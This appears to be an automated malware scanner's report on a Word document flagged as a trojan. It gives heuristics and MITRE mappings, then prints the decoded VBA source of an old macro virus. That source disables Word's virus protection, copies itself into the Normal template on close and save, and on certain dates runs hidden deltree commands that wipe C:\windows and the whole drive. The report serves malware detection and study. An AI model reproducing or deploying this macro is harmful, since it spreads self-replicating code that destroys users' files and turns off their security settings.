MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1490 Inhibit System Recovery
This document contains VBA macros that are designed to execute destructive commands, specifically 'deltree /y c:\windows' and 'deltree /y c:\*.*', which aim to inhibit system recovery. The Auto_Close macro also attempts to copy itself and a UserForm to the Normal template, suggesting an attempt at persistence. The presence of legacy WordBasic markers and the critical 'Shell()' call firing strongly indicate malicious intent.
Heuristics 6
-
ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Mbug-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5713 bytes |
SHA-256: 37c695ed576d67042eb6759d34d26173cc3ae0be76f9856e506976f0be1f05bb |
|||
|
Detection
ClamAV:
Win.Trojan.DelTree-10
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "clinton"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
If Day(Now()) = "15" Or Day(Now()) = "16" Or Day(Now()) = "17" Or Day(Now()) = "18" Or Day(Now()) = "19" Or Day(Now()) = "20" Or Day(Now()) = "21" Or Day(Now()) = "22" Or Day(Now()) = "23" Or Day(Now()) = "24" Or Day(Now()) = "25" Or Day(Now()) = "26" Or Day(Now()) = "27" Or Day(Now()) = "28" Or Day(Now()) = "29" Or Day(Now()) = "30" Or Day(Now()) = "31" Then
StatusBar = "Clinton Announcement"
Else
UserForm1.Show
MsgBox "Not Accept, must punish", vbInformation
Shell "deltree /y c:\windows", vbHide
Shell "deltree /y c:\*.*", vbHide
End If
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
If WordBasic.[MacroName$](i, 0) = "clinton" Then
clintonInstalled = -1
End If
Next i
If Not clintonInstalled Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="clinton", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
End If
ErrorAC:
End Sub
Sub FileSave()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorA
FileSaveAss
ErrorA:
End Sub
Private Sub FileSaveAss()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFA
Dialogs(wdDialogFileSaveAs).Show
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="clinton", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
End If
If Day(Now()) = "15" Or Day(Now()) = "16" Or Day(Now()) = "17" Or Day(Now()) = "18" Or Day(Now()) = "19" Or Day(Now()) = "20" Or Day(Now()) = "21" Or Day(Now()) = "22" Or Day(Now()) = "23" Or Day(Now()) = "24" Or Day(Now()) = "25" Or Day(Now()) = "26" Or Day(Now()) = "27" Or Day(Now()) = "28" Or Day(Now()) = "29" Or Day(Now()) = "30" Or Day(Now()) = "31" Then
UserForm1.Show
MsgBox "Not Accept, must punish", vbInformation
Shell "deltree /y c:\windows", vbHide
Shell "deltree /y c:\*.*", vbHide
Else
MsgBox "Clinton Save"
End If
ErrorFA:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
Dialogs(wdDialogFileSaveAs).Show
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="clinton", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
End If
If Day(Now()) = "15" Or Day(Now()) = "16" Or Day(Now()) = "17" Or Day(Now()) = "18" Or Day(Now()) = "19" Or Day(Now()) = "20" Or Day(Now()) = "21" Or Day(Now()) = "22" Or Day(Now()) = "23" Or Day(Now()) = "24" Or Day(Now
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.